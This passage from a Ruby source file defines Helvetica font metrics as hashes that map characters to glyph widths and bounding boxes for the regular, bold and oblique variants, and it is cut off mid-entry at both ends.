390] }, '>' => { wx: 584, boundingbox: [48, 11, 536, 495] }, '?' => { wx: 556, boundingbox: [56, 0, 492, 727] }, '@' => { wx: 1015, boundingbox: [147, -19, 868, 737] }, 'A' => { wx: 667, boundingbox: [14, 0, 654, 718] }, 'B' => { wx: 667, boundingbox: [74, 0, 627, 718] }, 'C' => { wx: 722, boundingbox: [44, -19, 681, 737] }, 'D' => { wx: 722, boundingbox: [81, 0, 674, 718] }, 'E' => { wx: 667, boundingbox: [86, 0, 616, 718] }, 'F' => { wx: 611, boundingbox: [86, 0, 583, 718] }, 'G' => { wx: 778, boundingbox: [48, -19, 704, 737] }, 'H' => { wx: 722, boundingbox: [77, 0, 646, 718] }, 'I' => { wx: 278, boundingbox: [91, 0, 188, 718] }, 'J' => { wx: 500, boundingbox: [17, -19, 428, 718] }, 'K' => { wx: 667, boundingbox: [76, 0, 663, 718] }, 'L' => { wx: 556, boundingbox: [76, 0, 537, 718] }, 'M' => { wx: 833, boundingbox: [73, 0, 761, 718] }, 'N' => { wx: 722, boundingbox: [76, 0, 646, 718] }, 'O' => { wx: 778, boundingbox: [39, -19, 739, 737] }, 'P' => { wx: 667, boundingbox: [86, 0, 622, 718] }, 'Q' => { wx: 778, boundingbox: [39, -56, 739, 737] }, 'R' => { wx: 722, boundingbox: [88, 0, 684, 718] }, 'S' => { wx: 667, boundingbox: [49, -19, 620, 737] }, 'T' => { wx: 611, boundingbox: [14, 0, 597, 718] }, 'U' => { wx: 722, boundingbox: [79, -19, 644, 718] }, 'V' => { wx: 667, boundingbox: [20, 0, 647, 718] }, 'W' => { wx: 944, boundingbox: [16, 0, 928, 718] }, 'X' => { wx: 667, boundingbox: [19, 0, 648, 718] }, 'Y' => { wx: 667, boundingbox: [14, 0, 653, 718] }, 'Z' => { wx: 611, boundingbox: [23, 0, 588, 718] }, '[' => { wx: 278, boundingbox: [63, -196, 250, 722] }, '\\\\' => { wx: 278, boundingbox: [-17, -19, 295, 737] }, ']' => { wx: 278, boundingbox: [28, -196, 215, 722] }, '^' => { wx: 469, boundingbox: [-14, 264, 483, 688] }, '_' => { wx: 556, boundingbox: [0, -125, 556, -75] }, '`' => { wx: 222, boundingbox: [65, 470, 169, 725] }, 'a' => { wx: 556, boundingbox: [36, -15, 530, 538] }, 'b' => { wx: 556, boundingbox: [58, -15, 517, 718] }, 'c' => { wx: 500, boundingbox: [30, -15, 477, 538] }, 'd' => { wx: 556, boundingbox: [35, -15, 499, 718] }, 'e' => { wx: 556, boundingbox: [40, -15, 516, 538] }, 'f' => { wx: 278, boundingbox: [14, 0, 262, 728] }, 'g' => { wx: 556, boundingbox: [40, -220, 499, 538] }, 'h' => { wx: 556, boundingbox: [65, 0, 491, 718] }, 'i' => { wx: 222, boundingbox: [67, 0, 155, 718] }, 'j' => { wx: 222, boundingbox: [-16, -210, 155, 718] }, 'k' => { wx: 500, boundingbox: [67, 0, 501, 718] }, 'l' => { wx: 222, boundingbox: [67, 0, 155, 718] }, 'm' => { wx: 833, boundingbox: [65, 0, 769, 538] }, 'n' => { wx: 556, boundingbox: [65, 0, 491, 538] }, 'o' => { wx: 556, boundingbox: [35, -14, 521, 538] }, 'p' => { wx: 556, boundingbox: [58, -207, 517, 538] }, 'q' => { wx: 556, boundingbox: [35, -207, 494, 538] }, 'r' => { wx: 333, boundingbox: [77, 0, 332, 538] }, 's' => { wx: 500, boundingbox: [32, -15, 464, 538] }, 't' => { wx: 278, boundingbox: [14, -7, 257, 669] }, 'u' => { wx: 556, boundingbox: [68, -15, 489, 523] }, 'v' => { wx: 500, boundingbox: [8, 0, 492, 523] }, 'w' => { wx: 722, boundingbox: [14, 0, 709, 523] }, 'x' => { wx: 500, boundingbox: [11, 0, 490, 523] }, 'y' => { wx: 500, boundingbox: [11, -214, 489, 523] }, 'z' => { wx: 500, boundingbox: [31, 0, 469, 523] }, '{' => { wx: 334, boundingbox: [42, -196, 292, 722] }, '|' => { wx: 260, boundingbox: [94, -225, 167, 775] }, '}' => { wx: 334, boundingbox: [42, -196, 292, 722] }, '~' => { wx: 584, boundingbox: [61, 180, 523, 326] }, \"\\u00A1\" => { wx: 333, boundingbox: [118, -195, 215, 523] }, \"\\u00A2\" => { wx: 556, boundingbox: [51, -115, 513, 623] }, \"\\u00A3\" => { wx: 556, boundingbox: [33, -16, 539, 718] }, \"\\u00A4\" => { wx: 167, boundingbox: [-166, -19, 333, 703] }, \"\\u00A5\" => { wx: 556, boundingbox: [3, 0, 553, 688] }, \"\\u00A6\" => { wx: 556, boundingbox: [-11, -207, 501, 737] }, \"\\u00A7\" => { wx: 556, boundingbox: [43, -191, 512, 737] }, \"\\u00A8\" => { wx: 556, boundingbox: [28, 99, 528, 603] }, \"\\u00A9\" => { wx: 191, boundingbox: [59, 463, 132, 718] }, \"\\u00AA\" => { wx: 333, boundingbox: [38, 470, 307, 725] }, \"\\u00AB\" => { wx: 556, boundingbox: [97, 108, 459, 446] }, \"\\u00AC\" => { wx: 333, boundingbox: [88, 108, 245, 446] }, \"\\u00AD\" => { wx: 333, boundingbox: [88, 108, 245, 446] }, \"\\u00AE\" => { wx: 500, boundingbox: [14, 0, 434, 728] }, \"\\u00AF\" => { wx: 500, boundingbox: [14, 0, 432, 728] }, \"\\u00B1\" => { wx: 556, boundingbox: [0, 240, 556, 313] }, \"\\u00B2\" => { wx: 556, boundingbox: [43, -159, 514, 718] }, \"\\u00B3\" => { wx: 556, boundingbox: [43, -159, 514, 718] }, \"\\u00B4\" => { wx: 278, boundingbox: [77, 190, 202, 315] }, \"\\u00B6\" => { wx: 537, boundingbox: [18, -173, 497, 718] }, \"\\u00B7\" => { wx: 350, boundingbox: [18, 202, 333, 517] }, \"\\u00B8\" => { wx: 222, boundingbox: [53, -149, 157, 106] }, \"\\u00B9\" => { wx: 333, boundingbox: [26, -149, 295, 106] }, \"\\u00BA\" => { wx: 333, boundingbox: [26, 463, 295, 718] }, \"\\u00BB\" => { wx: 556, boundingbox: [97, 108, 459, 446] }, \"\\u00BC\" => { wx: 1000, boundingbox: [115, 0, 885, 106] }, \"\\u00BD\" => { wx: 1000, boundingbox: [7, -19, 994, 703] }, \"\\u00BF\" => { wx: 611, boundingbox: [91, -201, 527, 525] }, \"\\u00C1\" => { wx: 333, boundingbox: [14, 593, 211, 734] }, \"\\u00C2\" => { wx: 333, boundingbox: [122, 593, 319, 734] }, \"\\u00C3\" => { wx: 333, boundingbox: [21, 593, 312, 734] }, \"\\u00C4\" => { wx: 333, boundingbox: [-4, 606, 337, 722] }, \"\\u00C5\" => { wx: 333, boundingbox: [10, 627, 323, 684] }, \"\\u00C6\" => { wx: 333, boundingbox: [13, 595, 321, 731] }, \"\\u00C7\" => { wx: 333, boundingbox: [121, 604, 212, 706] }, \"\\u00C8\" => { wx: 333, boundingbox: [40, 604, 293, 706] }, \"\\u00CA\" => { wx: 333, boundingbox: [75, 572, 259, 756] }, \"\\u00CB\" => { wx: 333, boundingbox: [45, -225, 259, 0] }, \"\\u00CD\" => { wx: 333, boundingbox: [31, 593, 409, 734] }, \"\\u00CE\" => { wx: 333, boundingbox: [73, -225, 287, 0] }, \"\\u00CF\" => { wx: 333, boundingbox: [21, 593, 312, 734] }, \"\\u00D0\" => { wx: 1000, boundingbox: [0, 240, 1000, 313] }, \"\\u00E1\" => { wx: 1000, boundingbox: [8, 0, 951, 718] }, \"\\u00E3\" => { wx: 370, boundingbox: [24, 405, 346, 737] }, \"\\u00E8\" => { wx: 556, boundingbox: [-20, 0, 537, 718] }, \"\\u00E9\" => { wx: 778, boundingbox: [39, -19, 740, 737] }, \"\\u00EA\" => { wx: 1000, boundingbox: [36, -19, 965, 737] }, \"\\u00EB\" => { wx: 365, boundingbox: [25, 405, 341, 737] }, \"\\u00F1\" => { wx: 889, boundingbox: [36, -15, 847, 538] }, \"\\u00F5\" => { wx: 278, boundingbox: [95, 0, 183, 523] }, \"\\u00F8\" => { wx: 222, boundingbox: [-20, 0, 242, 718] }, \"\\u00F9\" => { wx: 611, boundingbox: [28, -22, 537, 545] }, \"\\u00FA\" => { wx: 944, boundingbox: [35, -15, 902, 538] }, \"\\u00FB\" => { wx: 611, boundingbox: [67, -15, 571, 728] }, \"\\xFF\" => { wx: 556, boundingbox: [0, 0, 0, 0] } }\n helvetica_bold_metrics = { ' ' => { wx: 278, boundingbox: [0, 0, 0, 0] }, '!' => { wx: 333, boundingbox: [90, 0, 244, 718] }, '\"' => { wx: 474, boundingbox: [98, 447, 376, 718] }, '#' => { wx: 556, boundingbox: [18, 0, 538, 698] }, '$' => { wx: 556, boundingbox: [30, -115, 523, 775] }, '%' => { wx: 889, boundingbox: [28, -19, 861, 710] }, '&' => { wx: 722, boundingbox: [54, -19, 701, 718] }, \"'\" => { wx: 278, boundingbox: [69, 445, 209, 718] }, '(' => { wx: 333, boundingbox: [35, -208, 314, 734] }, ')' => { wx: 333, boundingbox: [19, -208, 298, 734] }, '*' => { wx: 389, boundingbox: [27, 387, 362, 718] }, '+' => { wx: 584, boundingbox: [40, 0, 544, 506] }, ',' => { wx: 278, boundingbox: [64, -168, 214, 146] }, '-' => { wx: 333, boundingbox: [27, 215, 306, 345] }, '.' => { wx: 278, boundingbox: [64, 0, 214, 146] }, '/' => { wx: 278, boundingbox: [-33, -19, 311, 737] }, '0' => { wx: 556, boundingbox: [32, -19, 524, 710] }, '1' => { wx: 556, boundingbox: [69, 0, 378, 710] }, '2' => { wx: 556, boundingbox: [26, 0, 511, 710] }, '3' => { wx: 556, boundingbox: [27, -19, 516, 710] }, '4' => { wx: 556, boundingbox: [27, 0, 526, 710] }, '5' => { wx: 556, boundingbox: [27, -19, 516, 698] }, '6' => { wx: 556, boundingbox: [31, -19, 520, 710] }, '7' => { wx: 556, boundingbox: [25, 0, 528, 698] }, '8' => { wx: 556, boundingbox: [32, -19, 524, 710] }, '9' => { wx: 556, boundingbox: [30, -19, 522, 710] }, ':' => { wx: 333, boundingbox: [92, 0, 242, 512] }, ';' => { wx: 333, boundingbox: [92, -168, 242, 512] }, '<' => { wx: 584, boundingbox: [38, -8, 546, 514] }, '=' => { wx: 584, boundingbox: [40, 87, 544, 419] }, '>' => { wx: 584, boundingbox: [38, -8, 546, 514] }, '?' => { wx: 611, boundingbox: [60, 0, 556, 727] }, '@' => { wx: 975, boundingbox: [118, -19, 856, 737] }, 'A' => { wx: 722, boundingbox: [20, 0, 702, 718] }, 'B' => { wx: 722, boundingbox: [76, 0, 669, 718] }, 'C' => { wx: 722, boundingbox: [44, -19, 684, 737] }, 'D' => { wx: 722, boundingbox: [76, 0, 685, 718] }, 'E' => { wx: 667, boundingbox: [76, 0, 621, 718] }, 'F' => { wx: 611, boundingbox: [76, 0, 587, 718] }, 'G' => { wx: 778, boundingbox: [44, -19, 713, 737] }, 'H' => { wx: 722, boundingbox: [71, 0, 651, 718] }, 'I' => { wx: 278, boundingbox: [64, 0, 214, 718] }, 'J' => { wx: 556, boundingbox: [22, -18, 484, 718] }, 'K' => { wx: 722, boundingbox: [87, 0, 722, 718] }, 'L' => { wx: 611, boundingbox: [76, 0, 583, 718] }, 'M' => { wx: 833, boundingbox: [69, 0, 765, 718] }, 'N' => { wx: 722, boundingbox: [69, 0, 654, 718] }, 'O' => { wx: 778, boundingbox: [44, -19, 734, 737] }, 'P' => { wx: 667, boundingbox: [76, 0, 627, 718] }, 'Q' => { wx: 778, boundingbox: [44, -52, 737, 737] }, 'R' => { wx: 722, boundingbox: [76, 0, 677, 718] }, 'S' => { wx: 667, boundingbox: [39, -19, 629, 737] }, 'T' => { wx: 611, boundingbox: [14, 0, 598, 718] }, 'U' => { wx: 722, boundingbox: [72, -19, 651, 718] }, 'V' => { wx: 667, boundingbox: [19, 0, 648, 718] }, 'W' => { wx: 944, boundingbox: [16, 0, 929, 718] }, 'X' => { wx: 667, boundingbox: [14, 0, 653, 718] }, 'Y' => { wx: 667, boundingbox: [15, 0, 653, 718] }, 'Z' => { wx: 611, boundingbox: [25, 0, 586, 718] }, '[' => { wx: 333, boundingbox: [63, -196, 309, 722] }, '\\\\' => { wx: 278, boundingbox: [-33, -19, 311, 737] }, ']' => { wx: 333, boundingbox: [24, -196, 270, 722] }, '^' => { wx: 584, boundingbox: [62, 323, 522, 698] }, '_' => { wx: 556, boundingbox: [0, -125, 556, -75] }, '`' => { wx: 278, boundingbox: [69, 454, 209, 727] }, 'a' => { wx: 556, boundingbox: [29, -14, 527, 546] }, 'b' => { wx: 611, boundingbox: [61, -14, 578, 718] }, 'c' => { wx: 556, boundingbox: [34, -14, 524, 546] }, 'd' => { wx: 611, boundingbox: [34, -14, 551, 718] }, 'e' => { wx: 556, boundingbox: [23, -14, 528, 546] }, 'f' => { wx: 333, boundingbox: [10, 0, 318, 727] }, 'g' => { wx: 611, boundingbox: [40, -217, 553, 546] }, 'h' => { wx: 611, boundingbox: [65, 0, 546, 718] }, 'i' => { wx: 278, boundingbox: [69, 0, 209, 725] }, 'j' => { wx: 278, boundingbox: [3, -214, 209, 725] }, 'k' => { wx: 556, boundingbox: [69, 0, 562, 718] }, 'l' => { wx: 278, boundingbox: [69, 0, 209, 718] }, 'm' => { wx: 889, boundingbox: [64, 0, 826, 546] }, 'n' => { wx: 611, boundingbox: [65, 0, 546, 546] }, 'o' => { wx: 611, boundingbox: [34, -14, 578, 546] }, 'p' => { wx: 611, boundingbox: [62, -207, 578, 546] }, 'q' => { wx: 611, boundingbox: [34, -207, 552, 546] }, 'r' => { wx: 389, boundingbox: [64, 0, 373, 546] }, 's' => { wx: 556, boundingbox: [30, -14, 519, 546] }, 't' => { wx: 333, boundingbox: [10, -6, 309, 676] }, 'u' => { wx: 611, boundingbox: [66, -14, 545, 532] }, 'v' => { wx: 556, boundingbox: [13, 0, 543, 532] }, 'w' => { wx: 778, boundingbox: [10, 0, 769, 532] }, 'x' => { wx: 556, boundingbox: [15, 0, 541, 532] }, 'y' => { wx: 556, boundingbox: [10, -214, 539, 532] }, 'z' => { wx: 500, boundingbox: [20, 0, 480, 532] }, '{' => { wx: 389, boundingbox: [48, -196, 365, 722] }, '|' => { wx: 280, boundingbox: [84, -225, 196, 775] }, '}' => { wx: 389, boundingbox: [24, -196, 341, 722] }, '~' => { wx: 584, boundingbox: [61, 163, 523, 343] }, \"\\u00A1\" => { wx: 333, boundingbox: [90, -186, 244, 532] }, \"\\u00A2\" => { wx: 556, boundingbox: [34, -118, 524, 628] }, \"\\u00A3\" => { wx: 556, boundingbox: [28, -16, 541, 718] }, \"\\u00A4\" => { wx: 167, boundingbox: [-170, -19, 336, 710] }, \"\\u00A5\" => { wx: 556, boundingbox: [-9, 0, 565, 698] }, \"\\u00A6\" => { wx: 556, boundingbox: [-10, -210, 516, 737] }, \"\\u00A7\" => { wx: 556, boundingbox: [34, -184, 522, 727] }, \"\\u00A8\" => { wx: 556, boundingbox: [-3, 76, 559, 636] }, \"\\u00A9\" => { wx: 238, boundingbox: [70, 447, 168, 718] }, \"\\u00AA\" => { wx: 500, boundingbox: [64, 454, 436, 727] }, \"\\u00AB\" => { wx: 556, boundingbox: [88, 76, 468, 484] }, \"\\u00AC\" => { wx: 333, boundingbox: [83, 76, 250, 484] }, \"\\u00AD\" => { wx: 333, boundingbox: [83, 76, 250, 484] }, \"\\u00AE\" => { wx: 611, boundingbox: [10, 0, 542, 727] }, \"\\u00AF\" => { wx: 611, boundingbox: [10, 0, 542, 727] }, \"\\u00B1\" => { wx: 556, boundingbox: [0, 227, 556, 333] }, \"\\u00B2\" => { wx: 556, boundingbox: [36, -171, 520, 718] }, \"\\u00B3\" => { wx: 556, boundingbox: [36, -171, 520, 718] }, \"\\u00B4\" => { wx: 278, boundingbox: [58, 172, 220, 334] }, \"\\u00B6\" => { wx: 556, boundingbox: [-8, -191, 539, 700] }, \"\\u00B7\" => { wx: 350, boundingbox: [10, 194, 340, 524] }, \"\\u00B8\" => { wx: 278, boundingbox: [69, -146, 209, 127] }, \"\\u00B9\" => { wx: 500, boundingbox: [64, -146, 436, 127] }, \"\\u00BA\" => { wx: 500, boundingbox: [64, 445, 436, 718] }, \"\\u00BB\" => { wx: 556, boundingbox: [88, 76, 468, 484] }, \"\\u00BC\" => { wx: 1000, boundingbox: [92, 0, 908, 146] }, \"\\u00BD\" => { wx: 1000, boundingbox: [-3, -19, 1003, 710] }, \"\\u00BF\" => { wx: 611, boundingbox: [55, -195, 551, 532] }, \"\\u00C1\" => { wx: 333, boundingbox: [-23, 604, 225, 750] }, \"\\u00C2\" => { wx: 333, boundingbox: [108, 604, 356, 750] }, \"\\u00C3\" => { wx: 333, boundingbox: [-10, 604, 343, 750] }, \"\\u00C4\" => { wx: 333, boundingbox: [-17, 610, 350, 737] }, \"\\u00C5\" => { wx: 333, boundingbox: [-6, 604, 339, 678] }, \"\\u00C6\" => { wx: 333, boundingbox: [-2, 604, 335, 750] }, \"\\u00C7\" => { wx: 333, boundingbox: [104, 614, 230, 729] }, \"\\u00C8\" => { wx: 333, boundingbox: [6, 614, 327, 729] }, \"\\u00CA\" => { wx: 333, boundingbox: [59, 568, 275, 776] }, \"\\u00CB\" => { wx: 333, boundingbox: [6, -228, 245, 0] }, \"\\u00CD\" => { wx: 333, boundingbox: [9, 604, 486, 750] }, \"\\u00CE\" => { wx: 333, boundingbox: [71, -228, 304, 0] }, \"\\u00CF\" => { wx: 333, boundingbox: [-10, 604, 343, 750] }, \"\\u00D0\" => { wx: 1000, boundingbox: [0, 227, 1000, 333] }, \"\\u00E1\" => { wx: 1000, boundingbox: [5, 0, 954, 718] }, \"\\u00E3\" => { wx: 370, boundingbox: [22, 401, 347, 737] }, \"\\u00E8\" => { wx: 611, boundingbox: [-20, 0, 583, 718] }, \"\\u00E9\" => { wx: 778, boundingbox: [33, -27, 744, 745] }, \"\\u00EA\" => { wx: 1000, boundingbox: [37, -19, 961, 737] }, \"\\u00EB\" => { wx: 365, boundingbox: [6, 401, 360, 737] }, \"\\u00F1\" => { wx: 889, boundingbox: [29, -14, 858, 546] }, \"\\u00F5\" => { wx: 278, boundingbox: [69, 0, 209, 532] }, \"\\u00F8\" => { wx: 278, boundingbox: [-18, 0, 296, 718] }, \"\\u00F9\" => { wx: 611, boundingbox: [22, -29, 589, 560] }, \"\\u00FA\" => { wx: 944, boundingbox: [34, -14, 912, 546] }, \"\\u00FB\" => { wx: 611, boundingbox: [69, -14, 579, 731] }, \"\\xFF\" => { wx: 556, boundingbox: [0, 0, 0, 0] } }\n helvetica_oblique_metrics = { ' ' => { wx: 278, boundingbox: [0, 0, 0, 0] }, '!' => { wx: 278, boundingbox: [90, 0, 340, 718] }, '\"' => { wx: 355, boundingbox: [168, 463, 438, 718] }, '#' => { wx: 556, boundingbox: [73, 0, 631, 688] }, '$' => { wx: 556, boundingbox: [69, -115, 617, 775] }, '%' => { wx: 889, boundingbox: [147, -19, 889, 703] }, '&' => { wx: 667, boundingbox: [77, -15, 647, 718] }, \"'\" => { wx: 222, boundingbox: [151, 463, 310, 718] }, '(' => { wx: 333, boundingbox: [108, -207, 454, 733] }, ')' => { wx: 333, boundingbox: [-9, -207, 337, 733] }, '*' => { wx: 389, boundingbox: [165, 431, 475, 718] }, '+' => { wx: 584, boundingbox: [85, 0, 606, 505] }, ',' => { wx: 278, boundingbox: [56, -147, 214, 106] }, '-' => { wx: 333, boundingbox: [93, 232, 357, 322] }, '.' => { wx: 278, boundingbox: [87, 0, 214, 106] }, '/' => { wx: 278, boundingbox: [-21, -19, 452, 737] }, '0' => { wx: 556, boundingbox: [93, -19, 608, 703] }, '1' => { wx: 556, boundingbox: [207, 0, 508, 703] }, '2' => { wx: 556, boundingbox: [26, 0, 617, 703] }, '3' => { wx: 556, boundingbox: [75, -19, 610, 703] }, '4' => { wx: 556, boundingbox: [61, 0, 576, 703] }, '5' => { wx: 556, boundingbox: [68, -19, 621, 688] }, '6' => { wx: 556, boundingbox: [91, -19, 615, 703] }, '7' => { wx: 556, boundingbox: [137, 0, 669, 688] }, '8' => { wx: 556, boundingbox: [74, -19, 607, 703] }, '9' => { wx: 556, boundingbox: [82, -19, 609, 703] }, ':' => { wx: 278, boundingbox: [87, 0, 301, 516] }, ';' => { wx: 278, boundingbox: [56, -147, 301, 516] }, '<' => { wx: 584, boundingbox: [94, 11, 641, 495] }, '=' => { wx: 584, boundingbox: [63, 115, 628, 390] }, '>' => { wx: 584, boundingbox: [50, 11, 597, 495] }, '?' => { wx: 556, boundingbox: [161, 0, 610, 727] }, '@' => { wx: 1015, boundingbox: [215, -19, 965, 737] }, 'A' => { wx: 667, boundingbox: [14, 0, 654, 718] }, 'B' => { wx: 667, boundingbox: [74, 0, 712, 718] }, 'C' => { wx: 722, boundingbox: [108, -19, 782, 737] }, 'D' => { wx: 722, boundingbox: [81, 0, 764, 718] }, 'E' => { wx: 667, boundingbox: [86, 0, 762, 718] }, 'F' => { wx: 611, boundingbox: [86, 0, 736, 718] }, 'G' => { wx: 778, boundingbox: [111, -19, 799, 737] }, 'H' => { wx: 722, boundingbox: [77, 0, 799, 718] }, 'I' => { wx: 278, boundingbox: [91, 0, 341, 718] }, 'J' => { wx: 500, boundingbox: [47, -19, 581, 718] }, 'K' => { wx: 667, boundingbox: [76, 0, 808, 718] }, 'L' => { wx: 556, boundingbox: [76, 0, 555, 718] }, 'M' => { wx: 833, boundingbox: [73, 0, 914, 718] }, 'N' => { wx: 722, boundingbox: [76, 0, 799, 718] }, 'O' => { wx: 778, boundingbox: [105, -19, 826, 737] }, 'P' => { wx: 667, boundingbox: [86, 0, 737, 718] }, 'Q' => { wx: 778, boundingbox: [105, -56, 826, 737] }, 'R' => { wx: 722, boundingbox: [88, 0, 773, 718] }, 'S' => { wx: 667, boundingbox: [90, -19, 713, 737] }, 'T' => { wx: 611, boundingbox: [148, 0, 750, 718] }, 'U' => { wx: 722, boundingbox: [123, -19, 797, 718] }, 'V' => { wx: 667, boundingbox: [173, 0, 800, 718] }, 'W' => { wx: 944, boundingbox: [169, 0, 1081, 718] }, 'X' => { wx: 667, boundingbox: [19, 0, 790, 718] }, 'Y' => { wx: 667, boundingbox: [167, 0, 806, 718] }, 'Z' => { wx: 611, boundingbox: [23, 0, 741, 718] }, '[' => { wx: 278, boundingbox: [21, -196, 403, 722] }, '\\\\' => { wx: 278, boundingbox: [140, -19, 291, 737] }, ']' => { wx: 278, boundingbox: [-14, -196, 368, 722] }, '^' => { wx: 469, boundingbox: [42, 264, 539, 688] }, '_' => { wx: 556, boundingbox: [-27, -125, 540, -75] }, '`' => { wx: 222, boundingbox: [165, 470, 323, 725] }, 'a' => { wx: 556, boundingbox: [61, -15, 559, 538] }, 'b' => { wx: 556, boundingbox: [58, -15, 584, 718] }, 'c' => { wx: 500, boundingbox: [74, -15, 553, 538] }, 'd' => { wx: 556, boundingbox: [84, -15, 652, 718] }, 'e' => { wx: 556, boundingbox: [84, -15, 578, 538] }, 'f' => { wx: 278, boundingbox: [86, 0, 416, 728] }, 'g' => { wx: 556, boundingbox: [42, -220, 610, 538] }, 'h' => { wx: 556, boundingbox: [65, 0, 573, 718] }, 'i' => { wx: 222, boundingbox: [67, 0, 308, 718] }, 'j' => { wx: 222, boundingbox: [-60, -210, 308, 718] }, 'k' => { wx: 500, boundingbox: [67, 0, 600, 718] }, 'l' => { wx: 222, boundingbox: [67, 0, 308, 718] }, 'm' => { wx: 833, boundingbox: [65, 0, 852, 538] }, 'n' => { wx: 556, boundingbox: [65, 0, 573, 538] }, 'o' => { wx: 556, boundingbox: [83, -14, 585, 538] }, 'p' => { wx: 556, boundingbox: [14, -207, 584, 538] }, 'q' => { wx: 556, boundingbox: [84, -207, 605, 538] }, 'r' => { wx: 333, boundingbox: [77, 0, 446, 538] }, 's' => { wx: 500, boundingbox: [63, -15, 529, 538] }, 't' => { wx: 278, boundingbox: [102, -7, 368, 669] }, 'u' => { wx: 556, boundingbox: [94, -15, 600, 523] }, 'v' => { wx: 500, boundingbox: [119, 0, 603, 523] }, 'w' => { wx: 722, boundingbox: [125, 0, 820, 523] }, 'x' => { wx: 500, boundingbox: [11, 0, 594, 523] }, 'y' => { wx: 500, boundingbox: [15, -214, 600, 523] }, 'z' => { wx: 500, boundingbox: [31, 0, 571, 523] }, '{' => { wx: 334, boundingbox: [92, -196, 445, 722] }, '|' => { wx: 260, boundingbox: [46, -225, 332, 775] }, '}' => { wx: 334, boundingbox: [0, -196, 354, 722] }, '~' => { wx: 584, boundingbox: [111, 180, 580, 326] }, \"\\u00A1\" => { wx: 333, boundingbox: [77, -195, 326, 523] }, \"\\u00A2\" => { wx: 556, boundingbox: [95, -115, 584, 623] }, \"\\u00A3\" => { wx: 556, boundingbox: [49, -16, 634, 718] }, \"\\u00A4\" => { wx: 167, boundingbox: [-170, -19, 482, 703] }, \"\\u00A5\" => { wx: 556, boundingbox: [81, 0, 699, 688] }, \"\\u00A6\" => { wx: 556, boundingbox: [-52, -207, 654, 737] }, \"\\u00A7\" => { wx: 556, boundingbox: [76, -191, 584, 737] }, \"\\u00A8\" => { wx: 556, boundingbox: [60, 99, 646, 603] }, \"\\u00A9\" => { wx: 191, boundingbox: [157, 463, 285, 718] }, \"\\u00AA\" => { wx: 333, boundingbox: [138, 470, 461, 725] }, \"\\u00AB\" => { wx: 556, boundingbox: [146, 108, 554, 446] }, \"\\u00AC\" => { wx: 333, boundingbox: [137, 108, 340, 446] }, \"\\u00AD\" => { wx: 333, boundingbox: [111, 108, 314, 446] }, \"\\u00AE\" => { wx: 500, boundingbox: [86, 0, 587, 728] }, \"\\u00AF\" => { wx: 500, boundingbox: [86, 0, 585, 728] }, \"\\u00B1\" => { wx: 556, boundingbox: [51, 240, 623, 313] }, \"\\u00B2\" => { wx: 556, boundingbox: [135, -159, 622, 718] }, \"\\u00B3\" => { wx: 556, boundingbox: [52, -159, 623, 718] }, \"\\u00B4\" => { wx: 278, boundingbox: [129, 190, 257, 315] }, \"\\u00B6\" => { wx: 537, boundingbox: [126, -173, 650, 718] }, \"\\u00B7\" => { wx: 350, boundingbox: [91, 202, 413, 517] }, \"\\u00B8\" => { wx: 222, boundingbox: [21, -149, 180, 106] }, \"\\u00B9\" => { wx: 333, boundingbox: [-6, -149, 318, 106] }, \"\\u00BA\" => { wx: 333, boundingbox: [124, 463, 448, 718] }, \"\\u00BB\" => { wx: 556, boundingbox: [120, 108, 528, 446] }, \"\\u00BC\" => { wx: 1000, boundingbox: [115, 0, 908, 106] }, \"\\u00BD\" => { wx: 1000, boundingbox: [88, -19, 1029, 703] }, \"\\u00BF\" => { wx: 611, boundingbox: [85, -201, 534, 525] }, \"\\u00C1\" => { wx: 333, boundingbox: [170, 593, 337, 734] }, \"\\u00C2\" => { wx: 333, boundingbox: [248, 593, 475, 734] }, \"\\u00C3\" => { wx: 333, boundingbox: [147, 593, 438, 734] }, \"\\u00C4\" => { wx: 333, boundingbox: [125, 606, 490, 722] }, \"\\u00C5\" => { wx: 333, boundingbox: [143, 627, 468, 684] }, \"\\u00C6\" => { wx: 333, boundingbox: [167, 595, 476, 731] }, \"\\u00C7\" => { wx: 333, boundingbox: [249, 604, 362, 706] }, \"\\u00C8\" => { wx: 333, boundingbox: [168, 604, 443, 706] }, \"\\u00CA\" => { wx: 333, boundingbox: [214, 572, 402, 756] }, \"\\u00CB\" => { wx: 333, boundingbox: [2, -225, 232, 0] }, \"\\u00CD\" => { wx: 333, boundingbox: [157, 593, 565, 734] }, \"\\u00CE\" => { wx: 333, boundingbox: [43, -225, 249, 0] }, \"\\u00CF\" => { wx: 333, boundingbox: [177, 593, 468, 734] }, \"\\u00D0\" => { wx: 1000, boundingbox: [51, 240, 1067, 313] }, \"\\u00E1\" => { wx: 1000, boundingbox: [8, 0, 1097, 718] }, \"\\u00E3\" => { wx: 370, boundingbox: [127, 405, 449, 737] }, \"\\u00E8\" => { wx: 556, boundingbox: [41, 0, 555, 718] }, \"\\u00E9\" => { wx: 778, boundingbox: [43, -19, 890, 737] }, \"\\u00EA\" => { wx: 1000, boundingbox: [98, -19, 1116, 737] }, \"\\u00EB\" => { wx: 365, boundingbox: [141, 405, 468, 737] }, \"\\u00F1\" => { wx: 889, boundingbox: [61, -15, 909, 538] }, \"\\u00F5\" => { wx: 278, boundingbox: [95, 0, 294, 523] }, \"\\u00F8\" => { wx: 222, boundingbox: [41, 0, 347, 718] }, \"\\u00F9\" => { wx: 611, boundingbox: [29, -22, 647, 545] }, \"\\u00FA\" => { wx: 944, boundingbox: [83, -15, 964, 538] }, \"\\u00FB\" => { wx: 611, boundingbox: [67, -15, 658, 728] }, \"\\xFF\" => { wx: 556, boundingbox: [0, 0, 0, 0] } }\n helvetica_oblique_metrics = { ' ' => { wx: 278, boundingbox: [0, 0, 0, 0] }, '!' => { wx: 278, boundingbox: [90, 0, 340, 718] }, '\"' => { wx: 355, boundingbox: [168, 463, 438, 718] }, '#' => { wx: 556, boundingbox: [73, 0, 631, 688] }, '$' => { wx: 556, boundingbox: [69, -115, 617, 775] }, '%' => { wx: 889, boundingbox: [147, -19, 889, 703] }, '&' => { wx: 667, boundingbox: [77, -15, 647, 718] }, \"'\" => { wx: 222, boundingbox: [151, 463, 310, 718] }, '(' => { wx: 333, boundingbox: [108, -207, 454, 733] }, ')' => { wx: 333, boundingbox: [-9, -207, 337, 733] }, '*' => { wx: 389, boundingbox: [165, 431, 475, 718] }, '+' => { wx: 584, boundingbox: [85, 0, 606, 505] }, ',' => { wx: 278, boundingbox: [56, -147, 214, 106] }, '-' => { wx: 333, boundingbox: [93, 232, 357, 322] }, '.' => { wx: 278, boundingbox: [87, 0, 214, 106] }, '/' => { wx: 278, boundingbox: [-21, -19, 452, 737] }, '0' => { wx: 556, boundingbox: [93, -19, 608, 703] }, '1' => { wx: 